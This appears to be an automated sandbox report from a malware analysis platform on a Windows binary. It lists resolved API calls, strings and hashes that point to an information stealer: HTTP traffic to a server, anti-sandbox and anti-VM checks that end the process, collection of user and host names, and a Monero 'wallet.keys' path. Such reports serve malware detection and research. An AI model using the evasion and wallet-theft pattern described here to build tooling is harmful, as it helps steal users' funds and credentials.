GetProcAddress.KERNEL32(6FE30000,00E3B810), ref: 006EA191
GetProcAddress.KERNEL32(6FE30000,00E4D440), ref: 006EA1A9
GetProcAddress.KERNEL32(6FE30000,00E4D578), ref: 006EA1C2
GetProcAddress.KERNEL32(6FE30000,00E357F0), ref: 006EA1DA
GetProcAddress.KERNEL32(6FE30000,00E357D0), ref: 006EA1F2
GetProcAddress.KERNEL32(6FE30000,00E4D470), ref: 006EA20B
GetProcAddress.KERNEL32(752C0000,00E35730), ref: 006EA22C
GetProcAddress.KERNEL32(752C0000,00E35930), ref: 006EA244
GetProcAddress.KERNEL32(752C0000,00E4D560), ref: 006EA25D
GetProcAddress.KERNEL32(752C0000,00E4D5A8), ref: 006EA275
GetProcAddress.KERNEL32(752C0000,00E35A70), ref: 006EA28D
GetProcAddress.KERNEL32(74EC0000,00E3B608), ref: 006EA2B3
GetProcAddress.KERNEL32(74EC0000,00E3B928), ref: 006EA2CB
GetProcAddress.KERNEL32(74EC0000,00E4D4D0), ref: 006EA2E3
GetProcAddress.KERNEL32(74EC0000,00E358B0), ref: 006EA2FC
GetProcAddress.KERNEL32(74EC0000,00E358D0), ref: 006EA314
GetProcAddress.KERNEL32(74EC0000,00E3B630), ref: 006EA32C
GetProcAddress.KERNEL32(75BD0000,00E4D4E8), ref: 006EA352
GetProcAddress.KERNEL32(75BD0000,00E359B0), ref: 006EA36A
GetProcAddress.KERNEL32(75BD0000,00E48FB8), ref: 006EA382
GetProcAddress.KERNEL32(75BD0000,00E4D530), ref: 006EA39B
GetProcAddress.KERNEL32(75BD0000,00E4D428), ref: 006EA3B3
GetProcAddress.KERNEL32(75BD0000,00E35790), ref: 006EA3CB
GetProcAddress.KERNEL32(75BD0000,00E359F0), ref: 006EA3E4
GetProcAddress.KERNEL32(75BD0000,00E4D410), ref: 006EA3FC
GetProcAddress.KERNEL32(75BD0000,00E4D458), ref: 006EA414
GetProcAddress.KERNEL32(75A70000,00E35770), ref: 006EA436
GetProcAddress.KERNEL32(75A70000,00E4D488), ref: 006EA44E
GetProcAddress.KERNEL32(75A70000,00E4D590), ref: 006EA466
GetProcAddress.KERNEL32(75A70000,00E4D500), ref: 006EA47F
GetProcAddress.KERNEL32(75A70000,00E4D518), ref: 006EA497
GetProcAddress.KERNEL32(75450000,00E35890), ref: 006EA4B8
GetProcAddress.KERNEL32(75450000,00E35830), ref: 006EA4D1
GetProcAddress.KERNEL32(75DA0000,00E357B0), ref: 006EA4F2
GetProcAddress.KERNEL32(75DA0000,00E4D3F8), ref: 006EA50A
GetProcAddress.KERNEL32(6F070000,00E359D0), ref: 006EA530
GetProcAddress.KERNEL32(6F070000,00E356D0), ref: 006EA548
GetProcAddress.KERNEL32(6F070000,00E35910), ref: 006EA560
GetProcAddress.KERNEL32(6F070000,00E4D548), ref: 006EA579
GetProcAddress.KERNEL32(6F070000,00E356F0), ref: 006EA591
GetProcAddress.KERNEL32(6F070000,00E35710), ref: 006EA5A9
GetProcAddress.KERNEL32(6F070000,00E35950), ref: 006EA5C2
GetProcAddress.KERNEL32(6F070000,00E35990), ref: 006EA5DA
GetProcAddress.KERNEL32(6F070000,InternetSetOptionA), ref: 006EA5F1
GetProcAddress.KERNEL32(6F070000,HttpQueryInfoA), ref: 006EA607
GetProcAddress.KERNEL32(75AF0000,00E4D080), ref: 006EA629
GetProcAddress.KERNEL32(75AF0000,00E49028), ref: 006EA641
GetProcAddress.KERNEL32(75AF0000,00E4D038), ref: 006EA659
GetProcAddress.KERNEL32(75AF0000,00E4D0B0), ref: 006EA672
GetProcAddress.KERNEL32(75D90000,00E35850), ref: 006EA693
GetProcAddress.KERNEL32(6CFC0000,00E4CE28), ref: 006EA6B4
GetProcAddress.KERNEL32(6CFC0000,00E35870), ref: 006EA6CD
GetProcAddress.KERNEL32(6CFC0000,00E4CE40), ref: 006EA6E5
GetProcAddress.KERNEL32(6CFC0000,00E4CEE8), ref: 006EA6FD

Strings

pZ, xrefs: 006EA280
pY, xrefs: 006EA16B
HttpQueryInfoA, xrefs: 006EA5FC
PX, xrefs: 006EA686
0W, xrefs: 006EA21F
0X, xrefs: 006EA4C3
PW, xrefs: 006EA01E
InternetSetOptionA, xrefs: 006EA5E5
pX, xrefs: 006EA6BF
p\, xrefs: 006E9D44
pW, xrefs: 006EA428
0[, xrefs: 006E9C20
0\, xrefs: 006E9DD6
PY, xrefs: 006EA5B4
0Y, xrefs: 006EA237

Memory Dump Source

Source File: 00000000.00000002.1823219353.00000000006D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.1823209031.00000000006D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.0000000000781000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000078D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000007B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.000000000092E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000ABC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000B9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823660450.0000000000BD9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823769729.0000000000D7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823782235.0000000000D7C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: 0W$0X$0Y$0[$0\$HttpQueryInfoA$InternetSetOptionA$PW$PX$PY$pW$pX$pY$pZ$p\
API String ID: 2238633743-1521126475
Opcode ID: 9810b4b7c5ca3dc298414337d6f57f4d47fa04be263a9bc92bb84ae271b30ea5
Instruction ID: 0467df6d4b94f0f1557239e37034b9d173a1f696461ea0ef21897554558e7860
Opcode Fuzzy Hash: 9810b4b7c5ca3dc298414337d6f57f4d47fa04be263a9bc92bb84ae271b30ea5
Instruction Fuzzy Hash: 016240B5B3A200AFC345DFA8EE889E637F9F74C311304C55AA605C32B5D6399D42EB12

Function 006D6280 Relevance: 28.2, APIs: 11, Strings: 5, Instructions: 191
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 006EA7A0: lstrcpy.KERNEL32(?,00000000), ref: 006EA7E6

Part of subcall function 006D47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 006D4839
Part of subcall function 006D47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 006D4849

Part of subcall function 006EA740: lstrcpy.KERNEL32(006F0E17,00000000), ref: 006EA788

InternetOpenA.WININET(006F0DFE,00000001,00000000,00000000,00000000), ref: 006D62E1
StrCmpCA.SHLWAPI(?,00E4EAE8), ref: 006D6303
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 006D6335
HttpOpenRequestA.WININET(00000000,GET,?,00E4E248,00000000,00000000,00400100,00000000), ref: 006D6385
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 006D63BF
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 006D63D1
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 006D63FD
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 006D646D
InternetCloseHandle.WININET(00000000), ref: 006D64EF
InternetCloseHandle.WININET(00000000), ref: 006D64F9
InternetCloseHandle.WININET(00000000), ref: 006D6503

Strings

H, xrefs: 006D6371
ERROR, xrefs: 006D6407
GET, xrefs: 006D637C
ERROR, xrefs: 006D64C9
, xrefs: 006D62F8

Memory Dump Source

Source File: 00000000.00000002.1823219353.00000000006D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.1823209031.00000000006D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.0000000000781000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000078D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000007B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.000000000092E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000ABC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000B9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823660450.0000000000BD9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823769729.0000000000D7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823782235.0000000000D7C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET$H$
API String ID: 3749127164-1196962364
Opcode ID: 38a6ee49866e8ebb06ae5e8e4733ec8b7f2e25db44a88f68d6629ffaf9126673
Instruction ID: a0f43177cc43435bb923130cc94320d38b01688412630d319b6fe6e3c895582d
Opcode Fuzzy Hash: 38a6ee49866e8ebb06ae5e8e4733ec8b7f2e25db44a88f68d6629ffaf9126673
Instruction Fuzzy Hash: 88715C71A11318ABDB24DBA0DC49BEE77BAAB44700F108199F10A6B2D4DBB46E85CF51

Function 006E5510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 006EA820: lstrlen.KERNEL32(006D4F05,?,?,006D4F05,006F0DDE), ref: 006EA82B
Part of subcall function 006EA820: lstrcpy.KERNEL32(006F0DDE,00000000), ref: 006EA885

Part of subcall function 006EA740: lstrcpy.KERNEL32(006F0E17,00000000), ref: 006EA788

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 006E5644
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 006E56A1
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 006E5857

Part of subcall function 006EA7A0: lstrcpy.KERNEL32(?,00000000), ref: 006EA7E6

Part of subcall function 006E51F0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 006E5228

Part of subcall function 006EA8A0: lstrcpy.KERNEL32(?,006F0E17), ref: 006EA905

Part of subcall function 006E52C0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 006E5318
Part of subcall function 006E52C0: lstrlen.KERNEL32(00000000), ref: 006E532F
Part of subcall function 006E52C0: StrStrA.SHLWAPI(00000000,00000000), ref: 006E5364
Part of subcall function 006E52C0: lstrlen.KERNEL32(00000000), ref: 006E5383
Part of subcall function 006E52C0: lstrlen.KERNEL32(00000000), ref: 006E53AE

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 006E578B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 006E5940
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 006E5A0C
Sleep.KERNEL32(0000EA60), ref: 006E5A1B

Strings

ERROR, xrefs: 006E5932
ERROR, xrefs: 006E5636
ERROR, xrefs: 006E5693
ERROR, xrefs: 006E59FE
ERROR, xrefs: 006E5849
ERROR, xrefs: 006E577D

Memory Dump Source

Source File: 00000000.00000002.1823219353.00000000006D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.1823209031.00000000006D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.0000000000781000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000078D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000007B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.000000000092E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000ABC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000B9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823660450.0000000000BD9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823769729.0000000000D7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823782235.0000000000D7C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleep
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 507064821-2791005934
Opcode ID: 8d13f69da156dd1cb38653629d87ec7afda1042e55521c25bd8a8cabc8cdd90f
Instruction ID: 4959901e1f3c0cd2704ffa5c795b02552ecfd286569374478dc4726287ee4e23
Opcode Fuzzy Hash: 8d13f69da156dd1cb38653629d87ec7afda1042e55521c25bd8a8cabc8cdd90f
Instruction Fuzzy Hash: 98E13071912348AADB44FBE1DC929FE733BAF54300F51852CB50756191EF346E09CBA6

Function 006E17A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCmpCA.SHLWAPI(00000000,block), ref: 006E17C5
ExitProcess.KERNEL32 ref: 006E17D1

Strings

block, xrefs: 006E17B7

Memory Dump Source

Source File: 00000000.00000002.1823219353.00000000006D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.1823209031.00000000006D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.0000000000781000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000078D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000007B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.000000000092E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000ABC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000B9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823660450.0000000000BD9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823769729.0000000000D7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823782235.0000000000D7C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID: block
API String ID: 621844428-2199623458
Opcode ID: 768af8970bd7cbafd58bb77bfc28d5d946e5ecc2edf45dbbf21df31c8eb341e8
Instruction ID: 5cbed7f93ed65060496034ec937d234e04e47c496e687c7e8b45989cfac8e181
Opcode Fuzzy Hash: 768af8970bd7cbafd58bb77bfc28d5d946e5ecc2edf45dbbf21df31c8eb341e8
Instruction Fuzzy Hash: A7516DB4A16349EFDB04DFA2C964AFE77B6BF45704F108048E506AB341D770E942EB62

Function 006E7500 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 106
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 006E7542
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 006E757F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 006E7603
RtlAllocateHeap.NTDLL(00000000), ref: 006E760A
wsprintfA.USER32 ref: 006E7640

Part of subcall function 006EA740: lstrcpy.KERNEL32(006F0E17,00000000), ref: 006EA788

Strings

C, xrefs: 006E754C
\, xrefs: 006E7560
o, xrefs: 006E764D, 006E7655, 006E761B, 006E7623
:, xrefs: 006E755C

Memory Dump Source

Source File: 00000000.00000002.1823219353.00000000006D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.1823209031.00000000006D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.0000000000781000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000078D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000007B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.000000000092E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000ABC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000B9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823660450.0000000000BD9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823769729.0000000000D7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823782235.0000000000D7C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\$o
API String ID: 1544550907-1328543574
Opcode ID: a7bb7e362c05e7f085d5bbfa6ae504c20209d691e0874559991c57c4c77795ca
Instruction ID: 7a539a80f74c2dd890a41658a74ac7eea17b5ab31d11858cfe44c9cdf2355083
Opcode Fuzzy Hash: a7bb7e362c05e7f085d5bbfa6ae504c20209d691e0874559991c57c4c77795ca
Instruction Fuzzy Hash: FA41A0B1E05388ABDF10DF95DC45BEEBBB9AF08704F104198F50967280DB78AE44CBA5

Function 006E69F0 Relevance: 9.1, APIs: 6, Instructions: 89
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 006E9860: GetProcAddress.KERNEL32(74DD0000,00E42458), ref: 006E98A1
Part of subcall function 006E9860: GetProcAddress.KERNEL32(74DD0000,00E42398), ref: 006E98BA
Part of subcall function 006E9860: GetProcAddress.KERNEL32(74DD0000,00E42470), ref: 006E98D2
Part of subcall function 006E9860: GetProcAddress.KERNEL32(74DD0000,00E422A8), ref: 006E98EA
Part of subcall function 006E9860: GetProcAddress.KERNEL32(74DD0000,00E42380), ref: 006E9903
Part of subcall function 006E9860: GetProcAddress.KERNEL32(74DD0000,00E48F48), ref: 006E991B
Part of subcall function 006E9860: GetProcAddress.KERNEL32(74DD0000,00E35D30), ref: 006E9933
Part of subcall function 006E9860: GetProcAddress.KERNEL32(74DD0000,00E35CF0), ref: 006E994C
Part of subcall function 006E9860: GetProcAddress.KERNEL32(74DD0000,00E42218), ref: 006E9964
Part of subcall function 006E9860: GetProcAddress.KERNEL32(74DD0000,00E42500), ref: 006E997C
Part of subcall function 006E9860: GetProcAddress.KERNEL32(74DD0000,00E422C0), ref: 006E9995
Part of subcall function 006E9860: GetProcAddress.KERNEL32(74DD0000,00E422D8), ref: 006E99AD
Part of subcall function 006E9860: GetProcAddress.KERNEL32(74DD0000,00E35B50), ref: 006E99C5
Part of subcall function 006E9860: GetProcAddress.KERNEL32(74DD0000,00E42320), ref: 006E99DE

Part of subcall function 006EA740: lstrcpy.KERNEL32(006F0E17,00000000), ref: 006EA788

Part of subcall function 006D11D0: ExitProcess.KERNEL32 ref: 006D1211

Part of subcall function 006D1160: GetSystemInfo.KERNEL32(?), ref: 006D116A
Part of subcall function 006D1160: ExitProcess.KERNEL32 ref: 006D117E

Part of subcall function 006D1110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 006D112B
Part of subcall function 006D1110: VirtualAllocExNuma.KERNEL32(00000000), ref: 006D1132
Part of subcall function 006D1110: ExitProcess.KERNEL32 ref: 006D1143

Part of subcall function 006D1220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 006D123E
Part of subcall function 006D1220: __aulldiv.LIBCMT ref: 006D1258
Part of subcall function 006D1220: __aulldiv.LIBCMT ref: 006D1266
Part of subcall function 006D1220: ExitProcess.KERNEL32 ref: 006D1294

Part of subcall function 006E6770: GetUserDefaultLangID.KERNEL32 ref: 006E6774

Part of subcall function 006D1190: ExitProcess.KERNEL32 ref: 006D11C6

Part of subcall function 006E7850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,006D11B7), ref: 006E7880
Part of subcall function 006E7850: RtlAllocateHeap.NTDLL(00000000), ref: 006E7887
Part of subcall function 006E7850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 006E789F

Part of subcall function 006E78E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 006E7910
Part of subcall function 006E78E0: RtlAllocateHeap.NTDLL(00000000), ref: 006E7917
Part of subcall function 006E78E0: GetComputerNameA.KERNEL32(?,00000104), ref: 006E792F

Part of subcall function 006EA9B0: lstrlen.KERNEL32(?,00E491C8,?,\Monero\wallet.keys,006F0E17), ref: 006EA9C5
Part of subcall function 006EA9B0: lstrcpy.KERNEL32(00000000), ref: 006EAA04
Part of subcall function 006EA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 006EAA12

Part of subcall function 006EA8A0: lstrcpy.KERNEL32(?,006F0E17), ref: 006EA905

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,00E48F98,?,006F110C,?,00000000,?,006F1110,?,00000000,006F0AEF), ref: 006E6ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 006E6AE8
CloseHandle.KERNEL32(00000000), ref: 006E6AF9
Sleep.KERNEL32(00001770), ref: 006E6B04
CloseHandle.KERNEL32(?,00000000,?,00E48F98,?,006F110C,?,00000000,?,006F1110,?,00000000,006F0AEF), ref: 006E6B1A
ExitProcess.KERNEL32 ref: 006E6B22

Memory Dump Source

Source File: 00000000.00000002.1823219353.00000000006D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.1823209031.00000000006D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.0000000000781000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000078D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000007B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.000000000092E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000ABC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000B9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823660450.0000000000BD9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823769729.0000000000D7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823782235.0000000000D7C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$lstrcpy$AllocateCloseEventHandleNameUser__aulldiv$AllocComputerCreateCurrentDefaultGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 2525456742-0
Opcode ID: 66f944a522410fc0a57040b2276da9b5bfe338b5af008eda117e3714a177c14c
Instruction ID: 4c06f4f0a94f195adb5e57fc66fd736ee15599269b73ad1c13d410a1a493acb5
Opcode Fuzzy Hash: 66f944a522410fc0a57040b2276da9b5bfe338b5af008eda117e3714a177c14c
Instruction Fuzzy Hash: 26316670D16348AADB44F7F1DC56BEE773BAF14340F01451DF102A6192EF706A05C6AA

Function 006D1220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 006D123E
__aulldiv.LIBCMT ref: 006D1258
__aulldiv.LIBCMT ref: 006D1266
ExitProcess.KERNEL32 ref: 006D1294

Strings

@, xrefs: 006D1233

Memory Dump Source

Source File: 00000000.00000002.1823219353.00000000006D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.1823209031.00000000006D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.0000000000781000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000078D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.00000000007B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823219353.000000000091A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.000000000092E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000ABC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000B9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823433124.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823660450.0000000000BD9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823769729.0000000000D7B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1823782235.0000000000D7C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_file.jbxd

Yara matches

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: de0ebee8f1eeab7780c1163b8fcfdcaee739e875360bb5644cb781515cfa9e08
Instruction ID: 994ca084c27a4feb98da716d768832e92255c5b0aff7d40780a469e759a47275
Opcode Fuzzy Hash: de0ebee8f1eeab7780c1163b8fcfdcaee739e875360bb5644cb781515cfa9e08
Instruction Fuzzy Hash: 470162B0D45348BBEB10DBD4CC49B9DB779AB04701F208059E705BA2C0D7B55781875D

Function 006E6AF3 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,00E48F98,?,006F110C,?,00000000,?,006F1110,?,00000000,006F0AEF), ref: 006E6ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 006E6AE8
CloseHandle.KERNEL32(00000000), ref: 006E6AF9
